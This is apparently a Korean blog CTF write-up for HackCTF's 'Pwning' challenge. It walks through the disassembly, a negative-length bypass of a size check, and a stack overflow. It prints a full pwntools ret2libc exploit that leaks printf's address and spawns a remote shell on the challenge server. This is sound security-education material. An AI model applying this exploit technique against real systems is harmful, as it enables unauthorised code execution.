본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] Pwning

시작

안녕하세요 :D

300점 짜리로 오니깐 확 어려워진 HackCTF 입니다. 200점대랑 갭이 엄청 커져서 당황스럽네요 ㅠㅠ

이번엔 Pwning 풀어보도록 하겠습니다!!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/20.Pwning# ./pwning
How many bytes do you want me to read? 32
Ok, sounds good. Give me 32 bytes of data!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
You said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

몇 바이트를 읽을거냐고 물어봅니다.

대충 32를 줬더니 딱 그 만큼만 받네요.

root@goorm:/workspace/LCH_Server/HackCTF/20.Pwning# ./pwning
How many bytes do you want me to read? 100
No! That size (100) is too large!

큰 값을 주면 사이즈가 크다며 종료해버립니다.

gdb-peda$ pd vuln
Dump of assembler code for function vuln:
   0x0804852f <+0>:     push   ebp
   0x08048530 <+1>:     mov    ebp,esp
   0x08048532 <+3>:     sub    esp,0x48
   0x08048535 <+6>:     mov    DWORD PTR [esp],0x8048680
   0x0804853c <+13>:    call   0x8048370 <printf@plt>
   0x08048541 <+18>:    mov    DWORD PTR [esp+0x4],0x4
   0x08048549 <+26>:    lea    eax,[ebp-0x2c]
   0x0804854c <+29>:    mov    DWORD PTR [esp],eax
   0x0804854f <+32>:    call   0x80484e3 
   0x08048554 <+37>:    lea    eax,[ebp-0x2c]
   0x08048557 <+40>:    mov    DWORD PTR [esp],eax
   0x0804855a <+43>:    call   0x80483c0 <atoi@plt>
   0x0804855f <+48>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048562 <+51>:    cmp    DWORD PTR [ebp-0xc],0x20
   0x08048566 <+55>:    jle    0x804857d <vuln+78>
   0x08048568 <+57>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804856b <+60>:    mov    DWORD PTR [esp+0x4],eax
   0x0804856f <+64>:    mov    DWORD PTR [esp],0x80486a8
   0x08048576 <+71>:    call   0x8048370 <printf@plt>
   0x0804857b <+76>:    jmp    0x80485b6 <vuln+135>
   0x0804857d <+78>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048580 <+81>:    mov    DWORD PTR [esp+0x4],eax
   0x08048584 <+85>:    mov    DWORD PTR [esp],0x80486cc
   0x0804858b <+92>:    call   0x8048370 <printf@plt>
   0x08048590 <+97>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048593 <+100>:   mov    DWORD PTR [esp+0x4],eax
   0x08048597 <+104>:   lea    eax,[ebp-0x2c]
   0x0804859a <+107>:   mov    DWORD PTR [esp],eax
   0x0804859d <+110>:   call   0x80484e3 <get_n>
   0x080485a2 <+115>:   lea    eax,[ebp-0x2c]
   0x080485a5 <+118>:   mov    DWORD PTR [esp+0x4],eax
   0x080485a9 <+122>:   mov    DWORD PTR [esp],0x80486f8
   0x080485b0 <+129>:   call   0x8048370 <printf@plt>
   0x080485b5 <+134>:   nop
   0x080485b6 <+135>:   leave
   0x080485b7 <+136>:   ret
End of assembler dump.

vuln() 함수입니다.

짚고 가야 할 부분은 +51 부분에 0x20이랑 cmp하는 부분이 보여요. atoi()에서 넘겨받은 eax값이니깐 우리의 입력이랑 비교하는 것이겠죠?

따라서 0x20보다 큰 입력을 주면, 사이즈가 크다는 구문을 출력합니다.

저 부분을 넘어서면 ebp-0xc를 인자로 주면서 get_n() 함수를 호출합니다.

gdb-peda$ pd get_n
Dump of assembler code for function get_n:
   0x080484e3 <+0>:     push   ebp
   0x080484e4 <+1>:     mov    ebp,esp
   0x080484e6 <+3>:     sub    esp,0x18
   0x080484e9 <+6>:     mov    DWORD PTR [ebp-0xc],0x0
   0x080484f0 <+13>:    jmp    0x8048506 <get_n+35>
   0x080484f2 <+15>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080484f5 <+18>:    lea    edx,[eax+0x1]
   0x080484f8 <+21>:    mov    DWORD PTR [ebp-0xc],edx
   0x080484fb <+24>:    mov    edx,DWORD PTR [ebp+0x8]
   0x080484fe <+27>:    add    edx,eax
   0x08048500 <+29>:    movzx  eax,BYTE PTR [ebp-0xd]
   0x08048504 <+33>:    mov    BYTE PTR [edx],al
   0x08048506 <+35>:    call   0x8048380 <getchar@plt>
   0x0804850b <+40>:    mov    BYTE PTR [ebp-0xd],al
   0x0804850e <+43>:    cmp    BYTE PTR [ebp-0xd],0x0
   0x08048512 <+47>:    je     0x8048522 <get_n+63>
   0x08048514 <+49>:    cmp    BYTE PTR [ebp-0xd],0xa
   0x08048518 <+53>:    je     0x8048522 <get_n+63>
   0x0804851a <+55>:    mov    eax,DWORD PTR [ebp-0xc]
   0x0804851d <+58>:    cmp    eax,DWORD PTR [ebp+0xc]
   0x08048520 <+61>:    jb     0x80484f2 <get_n+15>
   0x08048522 <+63>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048525 <+66>:    mov    edx,DWORD PTR [ebp+0x8]
   0x08048528 <+69>:    add    eax,edx
   0x0804852a <+71>:    mov    BYTE PTR [eax],0x0
   0x0804852d <+74>:    leave
   0x0804852e <+75>:    ret
End of assembler dump.

get_n() 함수입니다.

getchar()로 한 문자씩 받아오고, 얘가 NULL값이거나 개행 문자(0xa)이면 루프를 나가는 구조에요.

여기서 +24를 보면 ebp+0x8을 참조하는데, 얘가 vuln()에서 인자로 넘겨받은 친구죠? (vuln()의 ebp)-0x2c 였습니다.

따라서 0x2c = 44 bytes 이상의 값을 주면 EBP와 RET을 건드릴 수 있지만..

최대 입력 받을 수 있는 값이 0x20 = 32 bytes에요. BOF를 일으키려면 얘부터 어떻게 해야겠네요.

 

 

다시 vuln()으로 돌아와서, cmp 구문을 잘 봅시다.

0x20이 최댓값이라고는 정의했지만, 최솟값에 대한 언급은 없네요? 따라서 우리는 여기서 음수 값을 넣어도 무방합니다.

root@goorm:/workspace/LCH_Server/HackCTF/20.Pwning# ./pwning
How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!

이렇게 되면 엄청 많은 메모리를 읽을 수 있게 돼요.

BOF가 터졌으니, 마지막으로 "A" * 44 + "BBBB" + "CCCC" 페이로드를 줘서 EIP가 성공적으로 덮이는지 확인합시다.

gdb-peda$ r

How many bytes do you want me to read? -1
Ok, sounds good. Give me 4294967295 bytes of data!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

.

.

Stopped reason: SIGSEGV

gdb-peda$ x/wx $ebp
0x42424242:     Cannot access memory at address 0x42424242
gdb-peda$ x/wx $eip
0x43434343:     Cannot access memory at address 0x43434343

깔끔하네요 ㅎㅎ

익스플로잇 시나리오는 다음과 같습니다.

1. printf() 함수 leak

2. libc-database를 이용해 서버에서 사용하는 libc 종류 확인

3. system(), “/bin/sh” offset 계산

4. main()으로 리턴, 다시 BOF 발생 후 system(“/bin/sh”) 실행!!

코드입니다.

from pwn import *

#context.log_level = "debug"

#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)

printf_plt = 0x8048370
printf_got = 0x804a00c
ppr = 0x804864e
pr = 0x804835d
main = 0x80485b8
binsh_offset = 0x11000b
system_offset = 0xe6e0

payload = ""

p.recvuntil("read? ")
p.sendline("-1")

p.recvuntil("data!\n")

payload += "A" * 48
payload += p32(printf_plt)
payload += p32(main)
payload += p32(printf_got)

p.sendline(payload)

p.recvline()

data = p.recv(1024)

printf_addr = data[:4]
printf_addr = int(printf_addr[::-1].encode("hex"), 16)

log.info("printf_addr = " + hex(printf_addr))

system_addr = printf_addr - system_offset
binsh_addr = printf_addr + binsh_offset

log.info("system_addr = " + hex(system_addr))
log.info("binsh_addr = " + hex(binsh_addr))

p.sendline("-1")

p.recvuntil("data!\n")

exploit = ""

exploit += "A" * 48
exploit += p32(system_addr)
exploit += "AAAA"
exploit += p32(binsh_addr)

p.sendline(exploit)

p.interactive()

Exploit!!

마무리

get_n() 함수에서 이상한 부분에 꽂혀가지구 삽질했네요..

recv(), send() 구문도 생각한 대로 안돼서 엄청 여러 번 수정했습니다 ㅋㅋㅋㅋㅋ

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable #1  (0) 2019.10.10
[HackCTF] UAF  (0) 2019.09.26
[HackCTF] Gift  (0) 2019.09.23
[HackCTF] Look at me  (0) 2019.09.23
[HackCTF] Beginner_Heap  (0) 2019.09.23